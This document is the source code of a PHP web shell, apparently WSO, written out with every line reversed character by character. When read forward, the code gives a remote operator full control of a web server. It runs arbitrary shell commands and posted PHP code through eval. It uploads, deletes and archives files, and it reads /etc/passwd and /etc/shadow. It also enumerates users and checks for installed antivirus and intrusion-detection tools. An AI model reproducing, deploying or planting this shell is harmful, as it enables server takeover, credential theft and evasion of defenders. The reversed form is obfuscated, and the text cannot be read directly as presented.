;">rt/<>ht/<snoitcA>ht<>ht/<>a/<snoissimreP>')"\".)1:0?]1[tros$(."_smrep_s"\,llun,"\naMseliF"\(g'=kcilcno '#'=ferh a<>ht<>ht/<puorG/renwO>ht<>ht/<>a/<yfidoM>')"\".)1:0?]1[tros$(."_yfidom_s"\,llun,"\naMseliF"\(g'=kcilcno '#'=ferh a<>ht<>ht/<>a/<eziS>')"\".)1:0?]1[tros$(."_ezis_s"\,llun,"\naMseliF"\(g'=kcilcno '#'=ferh a<>ht<>ht/<>a/<emaN>')"\".)1:0?]1[tros$(."_eman_s"\,llun,"\naMseliF"\(g'=kcilcno '#'=ferh a<>ht<>ht/<>xbkhc=ssalc ')(as'=kcilcno xobkcehc=epyt tupni<>'xp31'=htdiw ht<>rt<>tsop=dohtem selif=eman mrof<
>'2'=gniddapllec '0'=gnicapsllec 'niam'=ssalc '%001'=htdiw elbat<
>tpircs/<
}	
;dekcehc.]0[stnemele.selif.d = dekcehc.]i[stnemele.selif.d				
)'xobkcehc' == epyt.]i[stnemele.selif.d(fi			
)++i;htgnel.stnemele.selif.d<i;0=i(rof		
{ )(as noitcnuf	
>tpircs<" ohce
}	
;)]2[hctam$)tni( ,]1[hctam$(yarra = tros$			
))hctam$ ,]'1p'[TSOP_$ ,'!)}1{d\(_)+]z-A[(_s!'(hctam_gerp(fi		
{ ))]'1p'[TSOP_$(ytpme!(fi	
;)1 ,'eman'(yarra = tros$	
;tros$ labolg	
} ;nruter ;)(retooFosw;'!redlof siht nepo t'\naC' ohce	{ )eslaf === tnetnoCrid$(fi	
;)]'dwc'[SLABOLG$:]'c'[TSOP_$?)]'c'[TSOP_$(tessi(ridnacSosw = tnetnoCrid$	
;'>tpircs/<;""=_3p=_2p=_1p>tpircs<>tnetnoc=ssalc vid<>1h/<reganam eliF>1h<' ohce	
;)(redaeHosw    
}	
}		
;kaerb				
}				
;)]'c'[TSOP_$@ ,'c'(eikooctesOSW					
;))]'f'[TSOP_$@(ezilaires ,'f'(eikooctesOSW					
;)]'1p'[TSOP_$ ,'tca'(eikooctesOSW					
{ ))]'1p'[TSOP_$(ytpme!(fi                
:tluafed			
;kaerb				
;)0063 - )(emit ,'' ,'f'(eikooctes                
;)]'f'[EIKOOC_$(tesnu				
}				
;)]'dwc'[SLABOLG$(ridhc                    
;))]'f'[EIKOOC_$ ,' '(edolpmi . ' ' . )]'2p'[TSOP_$(grallehsepacse . ' vzfc rat'(xEosw                    
;)]'f'[EIKOOC_$ ,'grallehsepacse'(pam_yarra = ]'f'[EIKOOC_$                    
;)]'c'[EIKOOC_$(ridhc                    
{ )'rat' == ]'tca'[EIKOOC_$(fiesle }				
}                    
}                        
}                            
;)(esolc>-piz$                                
;)]'dwc'[SLABOLG$(oTtcartxe>-piz$                                
{ ))f$.]'c'[EIKOOC_$(nepo>-piz$(fi                            
{ )f$ sa ]'f'[EIKOOC_$(hcaerof                        
;)(evihcrApiZ wen = piz$                        
{ ))'evihcrApiZ'(stsixe_ssalc(fi					
{ )'piznu' == ]'tca'[EIKOOC_$(fiesle }				
}                    
}                        
;)(esolc>-piz$                            
;)]'dwc'[SLABOLG$(ridhc                            
}                            
}                                
}                                    
;)yek$ ,)yek$(htaplaer(eliFdda>-piz$                                        
{ )eulav$>=yek$ sa rotareti$( hcaerof                                    
;))STOD_PIKS::rotaretImetsyseliF ,'/'.f$(rotaretIyrotceriDevisruceR wen(rotaretIrotaretIevisruceR wen = rotareti$                                    
{ ))f$.]'c'[EIKOOC_$(rid_si@(fiesle                                
;)f$ ,f$.]'c'[EIKOOC_$(eliFdda>-piz$                                    
))f$.]'c'[EIKOOC_$(elif_si@(fi                                
;eunitnoc                                    
)'..' == f$(fi                                
{ )f$ sa ]'f'[EIKOOC_$(hcaerof                            
;)]'c'[EIKOOC_$(ridhc                            
{ ))1 ,]'2p'[TSOP_$(nepo>-piz$( fi                        
;)(evihcrApiZ wen = piz$                        
{ ))'evihcrApiZ'(stsixe_ssalc(fi					
{ )'piz' == ]'tca'[EIKOOC_$(fiesle }				
;)f$.]'dwc'[SLABOLG$ ,f$.]'c'[EIKOOC_$(emaner@						
)f$ sa ]'f'[EIKOOC_$(hcaerof					
}					
;)s$.d$ ,s$.c$(ypoc@							
))s$.c$(elif_si@(fiesle }						
;)'/'.s$.d$ ,f$,'/'.s$.c$(etsap_ypoc									
))".." =! f$( dna )"." =! f$(( fi								
)eslaf ==! ))h$(riddaer@ = f$(( elihw							
;)s$.c$(ridnepo@ = h$							
;)s$.d$(ridkm							
{))s$.c$(rid_si(fi						
{)d$,s$,c$(etsap_evom noitcnuf					
{ )'evom' == ]'tca'[EIKOOC_$(fiesle }				
;)]'dwc'[SLABOLG$ ,f$,]'c'[EIKOOC_$(etsap_ypoc						
)f$ sa ]'f'[EIKOOC_$(hcaerof					
}					
;)s$.d$ ,s$.c$(ypoc@							
))s$.c$(elif_si(fiesle }						
;)'/'.s$.d$ ,f$,'/'.s$.c$(etsap_ypoc									
))".." =! f$( dna )"." =! f$(( fi								
)eslaf ==! ))h$(riddaer@ = f$(( elihw							
;)s$.c$(ridnepo@ = h$							
;)s$.d$(ridkm							
{))s$.c$(rid_si(fi						
{)d$,s$,c$(etsap_ypoc noitcnuf					
{ )'ypoc' == ]'tca'[EIKOOC_$(fi				
:'etsap' esac			
;kaerb				
}					
;)f$(knilnu@							
esle						
;)f$(riDeteled							
))f$(rid_si(fi						
;)f$(edocedlru = f$						
;eunitnoc                            
)'..' == f$(fi                        
{ )f$ sa ]'f'[TSOP_$(hcaerof					
))]'f'[TSOP_$@(yarra_si(fi				
}				
;)htap$(ridmr@					
;)hd$(ridesolc					
}					
;)meti$(knilnu@							
esle						
;)meti$(riDeteled							
)"rid" == epyt$( fi						
;)meti$(epytelif = epyt$						
;eunitnoc							
) )"." == )meti$(emanesab( || )".." == )meti$(emanesab( ( fi						
;meti$.htap$ = meti$						
{ )eslaf ==! ) )hd$(riddaer = meti$( ( elihw					
;)htap$(ridnepo =  hd$					
;'/'.htap$:htap$ ? )'/'==)1-,htap$(rtsbus( = htap$					
{ )htap$(riDeteled noitcnuf				
:'eteled' esac			
;kaerb				
;"rid wen etaerc t'naC" ohce					
))]'2p'[TSOP_$(ridkm@!(fi				
:'ridkm' esac			
;kaerb				
;"!elif daolpu t'naC" ohce					
))]'eman'[]'f'[SELIF_$ ,]'eman_pmt'[]'f'[SELIF_$(elif_dedaolpu_evom@!(fi				
:'eliFdaolpu' esac			
{ )]'1p'[TSOP_$(hctiws		
{ ))]'1p'[TSOP_$(ytpme!(fi	
    
;)]'f'[EIKOOC_$(ezilairesnu@ = ]'f'[EIKOOC_$        
))]'f'[EIKOOC_$( ytpme!( fi    
{ )(naMseliFnoitca noitcnuf

}
;)(retooFosw	
;'>vid/<>erp/<' ohce	
}	
;))(naelc_teg_bo(srahclaicepslmth ohce		
;)]'1p'[TSOP_$(lave		
;)(trats_bo		
{ ))]'1p'[TSOP_$(ytpme!(fi	
;'>1lm=ssalc ";xp5:pot-nigram'.)'':';enon:yalpsid'?)]'1p'[TSOP_$(ytpme(.'"=elyts tuptuOphP=di erp<>mrof/<XAJA gnisu dnes >'.)'':'dekcehc'?]'xaja'.)]'TSOH_PTTH'[REVRES_$(5dm[EIKOOC_$(.' 1=eulav xaja=eman xobkcehc=epyt tupni< ' ohce	
;'>"xp5:pot-nigram"=elyts lavE=eulav timbus=epyt tupni<>aeratxet/<'.)'':)]'1p'[TSOP_$(srahclaicepslmth?)]'1p'[TSOP_$(ytpme!(.'>edoCphP=di aeragib=ssalc edoc=eman aeratxet<>";eslaf nruter};)'\'\,eulav.edoc.siht,llun,'\phP'\(g{esle};)eulav.edoc.siht,llun,'\phP'\(a{)dekcehc.xaja.siht(fi"=timbusno tsop=dohtem fp=eman mrof<>tnetnoc=ssalc vid<>1h/<edoc-PHP noitucexE>1h<' ohce    
}	
;'>rb<>vid/<'. )pmt$ ,'2h<','1h<'(ecalper_rts ohce		
;)pmt$ ,)        
''            
,'}1${ ht h. ,h. ,v. ,e.'            
,''            
( yarra ,)        
,'Uism!>+]>^[gmi<!'            
,'Uism!})*.({ ht ,dt!'            
,'Uism!}*.{ )2h ,1h ,ht ,dt ,ydob|+w\:a|ydob(!'            
( yarra(ecalper_gerp = pmt$        
;)(naelc_teg_bo = pmt$		
;)(ofniphp		
;)(trats_bo		
;'>elyts/<};000#:roloc{ p.>elyts<>tnetnoc=ssalc vid<>1h/<ofni PHP>1h<' ohce		
{ ))'ofni' == ]'2p'[TSOP_$( && )]'2p'[TSOP_$(tessi(fi	
;)(redaeHosw	

;)0 ,'xaja' . )]'TSOH_PTTH'[REVRES_$(5dm(eikooctesOSW        
))]'1p'[TSOP_$(ytpme! && )]'xaja'[TSOP_$(ytpme(fi    
}	
;tixe		
;pmet$ ,"n\" ,)pmet$(nelrts ohce		
;"n\;'" . )"0\'\\t\r\n\" ,))(naelc_teg_bo(srahclaicepslmth(sehsalscdda . "'=LMTHrenni.)'tuptuOphP'(dIyBtnemelEteg.tnemucod;''=yalpsid.elyts.)'tuptuOphP'(dIyBtnemelEteg.tnemucod" = pmet$		
;)]'1p'[TSOP_$(lave		
;)(trats_bo		
;)eurt ,'xaja' . )]'TSOH_PTTH'[REVRES_$(5dm(eikooctesOSW        
{ ))]'xaja'[TSOP_$(tessi(fi	
{ )(phPnoitca noitcnuf

}
;)(retooFosw	
;'>vid/<' ohce	
}	
;))'resu ten'(xEosw,'stnuoccA resU'(maraPceSosw		
;))'stnuocca ten'(xEosw,'sgnitteS tnuoccA'(maraPceSosw		
;))'rev'(xEosw,'noisreV SO'(maraPceSosw		
{ esle }	
}            
}                
;)pmet$ ,'sresU'(maraPceSosw                    
;'>/rb<' ohce                    
}                    
;"n\".)diu$,':'(nioj =. pmet$                            
)diu$( fi                        
;)]'2p'[TSOP_$(diuwpteg_xisop@ = diu$                        
{ )++]'2p'[TSOP_$;]'3p'[TSOP_$ =< ]'2p'[TSOP_$;(rof                    
;"" = pmet$                    
{ ))]'3p'[TSOP_$(ciremun_si && )]'2p'[TSOP_$(ciremun_si && )]'3p'[TSOP_$ ,]'2p'[TSOP_$( tessi( fi                
;'>mrof/<>">>"=eulav timbus=epyt tupni<>elbat/<>rt/<>dt/<>0001=eulav 2marap=eman txet=epyt tupni<>dt<>dt/<oT>dt<>rt<>rt/<>dt/<>0=eulav 1marap=eman txet=epyt tupni<>dt<>dt/<morF>dt<>rt<>'\;eslaf nruter;)eulav.2marap.siht,eulav.1marap.siht,"5",llun,llun(g'\=timbusno mrof<>elbat<>naps/<)dwssap/cte/ "daeR"( diuwpteg_xisop>naps<>/rb<' ohce                
;))'stsoh/cte/'(stnetnoc_teg_elif@ ,'stsoH'(maraPceSosw                
;))'h- fd'(xEosw ,'ecaps DDH'(maraPceSosw                
;'>/rb<' ohce                
;))pmet$,' ,'(edolpmi ,'sredaolnwoD'(maraPceSosw                
;meti$ = ][pmet$                        
))meti$(hcihWosw(fi                    
)meti$ sa sredaolnwod$( hcaerof                
;)(yarra=pmet$                
;))pmet$,' ,'(edolpmi ,'regnaD'(maraPceSosw                
;meti$ = ][pmet$                        
))meti$(hcihWosw(fi                    
)meti$ sa regnad$( hcaerof                
;)(yarra=pmet$                
;))pmet$,' ,'(edolpmi ,'lufresU'(maraPceSosw                
;meti$ = ][pmet$                        
))meti$(hcihWosw(fi                    
)meti$ sa lufresu$( hcaerof                
;)(yarra=pmet$                
;'>rb<' ohce                
;)'rorrim-pwl','teg','lruc','sknil','xnyl','hctef','tegw'(yarra = sredaolnwod$                
;)'ajnin','nacsmrow','llimwas','pacsbmz','ksamsys','hctawgol','kcehcgol','dixs','gdolpct','mdasdil','cesso','trons','yrtnestrop','ccdleihs','eriwpirt','wfpi','selbatpi','tiktoorkhc','retnuhkr','dmalc','dbewrd','vas','nacsvu','derocdb','23don','vak'(yarra = regnad$                
;)'lrepdius','etacol','cn','2pizb','pizb','pizg','rat','ybur','nohtyp','lrep','php','ekam','dl','cc','ccl','ccg'(yarra = lufresu$                
{ )]'edom_efas'[SLABOLG$!(fi            
;))'ten.eussi/cte/'(stnetnoc_teg_elif@ ,'eman rtsiD'(maraPceSosw            
;))'noisrev/corp/'(stnetnoc_teg_elif@ ,'noisrev SO'(maraPceSosw            
;)'on':">a/<]weiv[>')"\wodahs"\ ,"\/cte/"\ ,"\slooTseliF"\(g'=kcilcno '#'=ferh a< sey"?)'wodahs/cte/'(elbadaer_si@ ,'wodahs/cte/ elbadaeR'(maraPceSosw            
;)'on':">a/<]weiv[>')"\dwssap"\ ,"\/cte/"\ ,"\slooTseliF"\(g'=kcilcno '#'=ferh a< sey"?)'dwssap/cte/'(elbadaer_si@ ,'dwssap/cte/ elbadaeR'(maraPceSosw            
{ )'xin' == ]'so'[SLABOLG$(fi	

;'>rb<' ohce	
;))pmet$ ,' ,'(edolpmi ,'sesabatad detroppuS'(maraPceSosw	
;"elcarO" = ][pmet$		
))'tcennoc_ico'(stsixe_noitcnuf(fi	
;"LQSergtsoP" = ][pmet$		
))'tcennoc_gp'(stsixe_noitcnuf(fi	
;"LQSSM" = ][pmet$		
))'tcennoc_lqssm'(stsixe_noitcnuf(fi	
;")".)(ofni_tneilc_teg_lqsym."( lqSyM" = ][pmet$		
))'ofni_tneilc_teg_lqsym'(stsixe_noitcnuf(fi	
;)(yarra=pmet$	
;)'on':'delbane'?)'noisrev_lruc'(stsixe_noitcnuf ,'troppus LRUc'(maraPceSosw	
;))'rid_edulcni_edom_efas'(teg_ini@ ,'rid edulcni edom efaS'(maraPceSosw	
;))'rid_cexe_edom_efas'(teg_ini@ ,'rid cexe edom efaS'(maraPceSosw	
;))'ridesab_nepo'(teg_ini@ ,'rid esab nepO'(maraPceSosw	
;)'enon':]'snoitcnuf_elbasid'[SLABOLG$?]'snoitcnuf_elbasid'[SLABOLG$ ,'snoitcnuF PHP delbasiD'(maraPceSosw	
;)))(seludom_teg_ehcapa ,' ,'(edolpmi ,'seludom ehcapA dedaoL'(maraPceSosw        
))'seludom_teg_ehcapa'(stsixe_noitcnuf(fi    
;))'ERAWTFOS_REVRES'(vneteg@ ,'erawtfos revreS'(maraPceSosw	

}	
}		
;'>erp/<' . v$ . '>1lm=ssalc erp<' ohce				
esle			
;'>rb<' . v$ ohce				
)eslaf === )"n\" ,v$(soprts(fi			
;'>naps/< :' . n$ . '>naps<' ohce			
{ )v$(fi		
;)v$(mirt = v$		
{ )v$ ,n$(maraPceSosw noitcnuf	
;'>tnetnoc=ssalc vid<>1h/<noitamrofni ytiruces revreS>1h<' ohce	
;)(redaeHosw	
{ )(ofnIceSnoitca noitcnuf

}
;eslaf nruter	
;htap$ nruter		
))htap$(ytpme!(fi	
;)p$ . ' hcihw'(xEosw = htap$	
{ )p$(hcihWosw noitcnuf

}
}    
;selif$ nruter        
;emanelif$ = ][selif$            
)))hd$(riddaer = emanelif$( ==! eslaf( elihw        
;)rid$(ridnepo =  hd$        
{ esle }    
;)rid$(ridnacs nruter        
{ ))"ridnacs"(stsixe_noitcnuf(fi    
{ )rid$(ridnacSosw noitcnuf

}
;'>tnof/<' . ))f$(smrepelif@(smrePosw . '>00ff52#=roloc tnof<' nruter		
esle	
;'>tnof/<' . ))f$(smrepelif@(smrePosw . '>etihw=roloc tnof<' nruter		
))f$(elbatirw_si@!( fiesle	
;'>tnof/<' . ))f$(smrepelif@(smrePosw . '>0000FF#=roloc tnof<' nruter		
))f$(elbadaer_si@!( fi	
{ )f$(roloCsmrePosw noitcnuf

}
;i$ nruter	
;))'-' : 'T' ? )0020x0 & p$(( : ) 'x' : 't' ? )0020x0 & p$(( ? )1000x0 & p$(( =. i$	
;)'-' : 'w' ? )2000x0 & p$(( =. i$	
;)'-' : 'r' ? )4000x0 & p$(( =. i$	
;))'-' : 'S' ? )0040x0 & p$(( : ) 'x' : 's' ? )0040x0 & p$(( ? )8000x0 & p$(( =. i$	
;)'-' : 'w' ? )0100x0 & p$(( =. i$	
;)'-' : 'r' ? )0200x0 & p$(( =. i$	
;))'-' : 'S' ? )0080x0 & p$(( : ) 'x' : 's' ? )0080x0 & p$(( ? )0400x0 & p$(( =. i$	
;)'-' : 'w' ? )0800x0 & p$(( =. i$	
;)'-' : 'r' ? )0010x0 & p$(( =. i$	
;'u' = i$ esle	
;'p' = i$)0001x0 == )0001x0 & p$(( fiesle	
;'c' = i$)0002x0 == )0002x0 & p$(( fiesle	
;'d' = i$)0004x0 == )0004x0 & p$(( fiesle	
;'b' = i$)0006x0 == )0006x0 & p$(( fiesle	
;'-' = i$)0008x0 == )0008x0 & p$(( fiesle	
;'l' = i$)000Ax0 == )000Ax0 & p$(( fiesle	
;'s' = i$)000Cx0 == )000Cx0 & p$(( fi	
{ )p$(smrePosw noitcnuf

}
;'B ' . s$ nruter		
esle	
;'BK ' . ) 4201 / s$ ,'f2.1%'(ftnirps nruter		
)4201 => s$(fiesle	
;'BM ' . ) 6758401 / s$ ,'f2.1%'(ftnirps nruter		
)6758401 => s$(fiesle	
;'BG ' .) 4281473701 / s$ ,'f2.1%'(ftnirps nruter		
)4281473701 => s$(fi	
    
;)s$ ,"u%"(ftnirps = s$        
))s$(tni_si( fi    
{ )s$(eziSweiVosw noitcnuf

}
;tuo$ nruter	
}	
;)f$(esolcp		
;)4201,f$(daerf =. tuo$			
))f$(foef@!(elihw		
;"" = tuo$		
{ )))"r",ni$(nepop@ = f$(ecruoser_si( fiesle }	
;)ni$(cexe_llehs = tuo$		
{ ))'cexe_llehs'(stsixe_noitcnuf( fiesle }	
;)(naelc_teg_bo = tuo$		
;)ni$(metsys@		
;)(trats_bo		
{ ))'metsys'(stsixe_noitcnuf( fiesle }	
;)(naelc_teg_bo = tuo$		
;)ni$(urhtssap@		
;)(trats_bo		
{ ))'urhtssap'(stsixe_noitcnuf( fiesle }	
;)tuo$,"n\"(nioj@ = tuo$		
;)tuo$,ni$(cexe@		
{ ))'cexe'(stsixe_noitcnuf( fi	
;'' = tuo$	
{ )ni$(xEosw noitcnuf

} };eslaf nruter{ )p$(digrgteg_xisop noitcnuf    
{ ))eslaf===)'digrgteg_xisop' ,]'snoitcnuf_elbasid'[SLABOLG$(soprts( && )"digrgteg_xisop"(stsixe_noitcnuf!( fi
} };eslaf nruter{ )p$(diuwpteg_xisop noitcnuf    
{ ))eslaf===)'diuwpteg_xisop' ,]'snoitcnuf_elbasid'[SLABOLG$(soprts( && )"diuwpteg_xisop"(stsixe_noitcnuf!( fi

}
;">lmth/<>ydob/<>vid/<>elbat/<>rt/<	
>dt/<>  rb<>mrof/<>'>>'=eulav timbus=epyt tupni<>f=eman elif=epyt 'pnIsloot'=ssalc tupni<>rb<elbatirw_si$>naps/<:elif daolpU>naps<		
>'" . )'':]'tesrahc'[TSOP_$?)]'tesrahc'[TSOP_$(tessi( . "'=eulav tesrahc=eman neddih=epyt tupni<		
>'eliFdaolpu'=eulav 1p=eman neddih=epyt tupni<		
>'". ]'dwc'[SLABOLG$ . "'=eulav c=eman neddih=epyt tupni<		
>'nAMseliF'=eulav a=eman neddih=epyt tupni<		
>'atad-mrof/trapitlum'=EPYTCNE 'tsop'=dohtem mrof<>dt<		
>dt/<>mrof/<>'>>'=eulav timbus=epyt tupni<>''=eulav c=eman txet=epyt 'pnIsloot'=ssalc tupni<>rb<>naps/<:etucexE>naps<>"\;eslaf nruter;)eulav.c.siht,llun,'elosnoC'(g"\=timbusno mrof<>dt<		
>rt<>rt/<	
>dt/<>mrof/<>'>>'=eulav timbus=epyt tupni<>f=eman txet=epyt 'pnIsloot'=ssalc tupni<>rb<elbatirw_si$>naps/<:elif ekaM>naps<>"\;eslaf nruter;)'elifkm',eulav.f.siht,llun,'slooTseliF'(g"\=timbusno mrof<>dt<		
>dt/<>mrof/<>'>>'=eulav timbus=epyt tupni<>d=eman txet=epyt 'pnIsloot'=ssalc tupni<>rb<elbatirw_si$>naps/<:rid ekaM>naps<>"\;eslaf nruter;)eulav.d.siht,'ridkm',llun,'naMseliF'(g"\=timbusno mrof<>dt<		
>rt<>rt/<	
>dt/<>mrof/<>'>>'=eulav timbus=epyt tupni<>f=eman txet=epyt 'pnIsloot'=ssalc tupni<>rb<>naps/<:elif daeR>naps<>"\;eslaf nruter;)eulav.f.siht,llun,'slooTseliF'(g"\=timbusno mrof<>dt<		
>dt/<>mrof/<>'>>'=eulav timbus=epyt tupni<>'". )]'dwc'[SLABOLG$(srahclaicepslmth . "'=eulav c=eman txet=epyt 'pnIsloot'=ssalc tupni<>rb<>naps/<:rid egnahC>naps<>';eslaf nruter;)"\"\,eulav.c.siht,llun(g'=timbusno mrof<>dt<		
>rt<	
>';333# dilos xp2:mottob-redrob;333# dilos xp2:pot-redrob'=elyts  %001=htdiw 0=gnicapsllec 3=gniddapllec lbTsloot=di ofni=ssalc elbat<
>vid/<
" ohce    
;">tnof/<)elbatirw toN(>der=roloc tnof< ":">tnof/<)elbaetirW(>'neerg'=roloc tnof< "?)]'dwc'[SLABOLG$(elbatirw_si = elbatirw_si$	
{ )(retooFosw noitcnuf

}
;'>"5:nigram"=elyts vid<>elbat/<>rt/<' . unem$ . '>rt<>%001=htdiw 0=gnicapsllec 3=gniddapllec ";333# dilos xp2:pot-redrob"=elyts elbat<' .       
'>elbat/<>rt/<>dt/<>rbon/<' . ]'RDDA_ETOMER'[REVRES_$ . '>rb<>naps/<:PI tneilC>naps<>rb<' . ]"RDDA_REVRES"[REVRES_$@ . '>rb<>naps/<:PI revreS>naps<>rb<>tceles/<>puorgtpo/<' . stesrahc_tpo$ . '>"tesrahc egaP"=lebal puorgtpo<>")eulav.siht,llun,llun,llun,llun,llun(g"=egnahcno tceles<>rbon<>thgir=ngila 1=htdiw dt<' .       
'>dt/<' . sevird$ . '>rb<>a/<] emoh [>")'\'\,'\'\,'\'\,'\' . ]'dwc_emoh'[SLABOLG$ . ''\,'\naMseliF'\(g"=kcilcno #=ferh a< ' . )]'dwc'[SLABOLG$(roloCsmrePosw .' ' . sknil_dwc$ . '>rb<)%' . )001*ecapSlatot$/ecapSeerf$( )tni( .'( ' . )ecapSeerf$(eziSweiVosw . ' >naps/<:eerF>naps< ' . )ecapSlatot$(eziSweiVosw . '>rb<' . )'s:i:H d-m-Y'(etad . ' >naps/<:emitetaD>naps< >a/<] ofniphp [>")'\ofni'\,'\'\,llun,'\phP'\(g"=kcilcno #=ferh a< ' .       
)'>tnof/<>b/<FFO>b<>neerg=roloc tnof<':'>tnof/<NO>der=roloc tnof<'?]'edom_efas'[SLABOLG$( . ' >naps/<:edom efaS>naps< ' . )(noisrevphp@ . '>rb<) ' . puorg$ . ' ( ' . dig$ . ' >naps/<:puorG>naps< ) ' . resu$ . ' ( ' . diu$ . '>rb<>rbon/<' . )021 ,0 ,)(emanu_php@(rtsbus . '>rbon<>dt<' .       
'>dt/<>naps/<' . )'':':sevirD>rb<'?'niw' == ]'so'[SLABOLG$( . ':dwC>rb<:ddH>rb<:phP>rb<:resU>rb<:emanU>naps<>1=htdiw dt<>rt<>%001=htdiw 0=gnicapsllec 3=gniddapllec ofni=ssalc elbat<' ohce	
}	
;' >a/<] '.evird$.' [>")'\/:'.evird$.''\,'\naMseliF'\(g"=kcilcno "#"=ferh a<' =. sevird$			
))'\\:'.evird$(rid_si(fi		
)evird$ sa )'z','c'(egnar(hcaerof		
{ )'niw' == ]'so'[SLABOLG$(fi	
;"" = sevird$	
}	
}		
;'>ht/<] >a/<'.k$.'>")'\'\,'\'\,'\'\,llun,'\'.v$.''\(g"=kcilcno "#"=ferh a< [>"%'.))m$(tnuoc/001()tni(.'"=htdiw ht<' =. unem$			
{esle}		
;'>ht/<] >a/<>tnof/<'.k$.'>"00ff52#"=roloc tnof<>")'\'\,'\'\,'\'\,llun,'\'.v$.''\(g"=kcilcno "#"=ferh a< [>"%'.))m$(tnuoc/001()tni(.'"=htdiw ht<' =. unem$			
{)'edargPU/etadPU' == k$(fi		
{)v$ >= k$ sa m$(hcaerof	
;'' = unem$	
;'evomeRfleS' = ]'evomer fleS'[m$	
;'tuogoL' = ]'tuogoL'[m$		
))]'ssap_htua'[SLABOLG$(ytpme!(fi	
;)'krowteN'>='krowteN','ecrofeturB'>='ecrofeturB','slooTgnirtS'>='sloot gnirtS' ,'phP'>='phP' ,'etaDPU' >= 'edargPU/etadPU' ,'lqS'>='lqS','elosnoC'>='elosnoC' ,'naMseliF'>='seliF','ofnIceS'>='ofnI .ceS'(yarra = m$	

;'>noitpo/<'.meti$.'>'.)'':'detceles'?meti$==]'tesrahc'[TSOP_$(.' "'.meti$.'"=eulav noitpo<' =. stesrahc_tpo$		
)meti$ sa stesrahc$(hcaerof	
;'' = stesrahc_tpo$	
;)'668pc' ,'U-8IOK' ,'R-8IOK' ,'1521-swodniW' ,'8-FTU'(yarra = stesrahc$	

}	
;">a/</".]i$[htap$.">')"\" =. sknil_dwc$		
;'/'.]j$[htap$ =. sknil_dwc$			
)++j$ ;i$=<j$ ;0=j$(rof		
;""\,"\naMseliF"\(g'=kcilcno '#'=ferh a<" =. sknil_dwc$		
{ )++i$ ;1-n$<i$ ;0=i$(rof	
;)htap$(tnuoc=n$	
;)]'dwc'[SLABOLG$ ,"/"(edolpxe = htap$	
;'' = sknil_dwc$	

}	
;]'dig'[dig$ = dig$		
;]'eman'[dig$ = puorg$		
;]'diu'[diu$ = diu$		
;]'eman'[diu$ = resu$		
;))(digeteg_xisop(digrgteg_xisop@ = dig$		
;))(diueteg_xisop(diuwpteg_xisop@ = diu$		
{ esle }	
;"?" = puorg$		
;)(digymteg@ = dig$		
;)(diuymteg@ = diu$		
;)(resu_tnerruc_teg@ = resu$		
{ ))'digeteg_xisop'(stsixe_noitcnuf!(fi	
;)'s'(emanu_php@ = lenrek$	
;)'r'(emanu_php@ = esaeler$	
;1:ecapSlatot$?ecapSlatot$ = ecapSlatot$	
;)]'dwc'[SLABOLG$(ecaps_latot_ksid@ = ecapSlatot$	
;)]'dwc'[SLABOLG$(ecapseerfksid@ = ecapSeerf$	
;">mrof/<
>tesrahc=eman neddih=epyt tupni<
>3p=eman neddih=epyt tupni<
>2p=eman neddih=epyt tupni<
>1p=eman neddih=epyt tupni<
>c=eman neddih=epyt tupni<
>a=eman neddih=epyt tupni<
>';enon:yalpsid'=elyts fm=eman tsop=dohtem mrof<
>';0:tfel;0:pot;444#:roloc-dnuorgkcab;%001:htdiw;etulosba:noitisop'=elyts vid<>ydob<>daeh<
>tpircs/<
}	
;)'!rorre tseuqeR'(trela esle }			
;))]1[rra ,0(rtsbus.]2[rra(lave				
;)txeTesnopser.qer(cexe.ger=rra rav				
;)'m' ,"\)*]s\\\\S\\\\[()+d\\\\("\(pxEgeR wen = ger rav				
{ )002 == sutats.qer(fi			
) )4 == etatSydaer.qer( (fi		
{ )(egnahCqeRssecorp noitcnuf	
}	
}        
;)smarap(dnes.qer            
;)'dedocnelru-mrof-www-x/noitacilppa' ,'epyT-tnetnoC'( redaeHtseuqeRtes.qer            
;)eurt ,lru ,'TSOP'(nepo.qer            
;egnahCqeRssecorp = egnahcetatsydaerno.qer            
{ )qer( fi        
;)'PTTHLMX.tfosorciM'(tcejbOXevitcA wen = qer			
)tcejbOXevitcA.wodniw( fi esle		
;)(tseuqeRpttHLMX wen = qer			
)tseuqeRpttHLMX.wodniw( fi		
{ )smarap ,lru(rs noitcnuf	
}	
;)smarap ,'". )]'IRU_TSEUQER'[REVRES_$(sehsalsdda . "'(rs		
;)eulav.]i[stnemele.fm.d(tnenopmoCIRUedocne+'='+eman.]i[stnemele.fm.d+'&' =+ smarap			
)++i;htgnel.stnemele.fm.d<i;0=i(rof		
;'eurt=xaja' = smarap rav		
;)tesrahc,3p,2p,1p,c,a(tes		
{ )tesrahc,3p,2p,1p,c,a(a noitcnuf	
}	
;)(timbus.fm.d		
;)tesrahc,3p,2p,1p,c,a(tes		
{ )tesrahc,3p,2p,1p,c,a(g noitcnuf	
}	
;_tesrahc=eulav.tesrahc.fm.d esle;tesrahc=eulav.tesrahc.fm.d)llun=!tesrahc(fi//		
;_tesrahc=eulav.tesrahc.fm.d esle;tesrahc=eulav.tesrahc.fm.d)llun=!tesrahc(fi		
;_3p=eulav.3p.fm.d esle;3p=eulav.3p.fm.d)llun=!3p(fi		
;_2p=eulav.2p.fm.d esle;2p=eulav.2p.fm.d)llun=!2p(fi		
;_1p=eulav.1p.fm.d esle;1p=eulav.1p.fm.d)llun=!1p(fi		
;_c=eulav.c.fm.d esle;c=eulav.c.fm.d)llun=!c(fi		
;_a=eulav.a.fm.d esle;a=eulav.a.fm.d)llun=!a(fi		
{ )tesrahc,3p,2p,1p,c,a(tes noitcnuf	
;tnemucod = d rav    
;'". ))SETOUQ_TNE,]'3p'[TSOP_$(srahclaicepslmth:''?)eslaf==!)"n\",]'3p'[TSOP_$@(soprts(( . "' = _3p rav    
;'". ))SETOUQ_TNE,]'2p'[TSOP_$(srahclaicepslmth:''?)eslaf==!)"n\",]'2p'[TSOP_$@(soprts(( . "' = _2p rav    
;'". ))SETOUQ_TNE,]'1p'[TSOP_$(srahclaicepslmth:''?)eslaf==!)"n\",]'1p'[TSOP_$@(soprts(( . "' = _1p rav    
;'". )]'tesrahc'[TSOP_$@(srahclaicepslmth . "' = _tesrahc rav    
'". )]'a'[TSOP_$@(srahclaicepslmth . "' = _a rav    
;'" . )]'dwc'[SLABOLG$(srahclaicepslmth . "' = _c rav    
>tpircs<
>elyts/<
};ecapsonoM,reiruoC:ylimaf-tnof{erp
}333#:roloc-dnuorgkcab{2l.
}444#:roloc-dnuorgkcab{1l.
}e5e5e5#:roloc-dnuorgkcab{revoh:rt niam.
};e5e5e5#:roloc-dnuorgkcab;tfel:ngila-txet{ht niam.
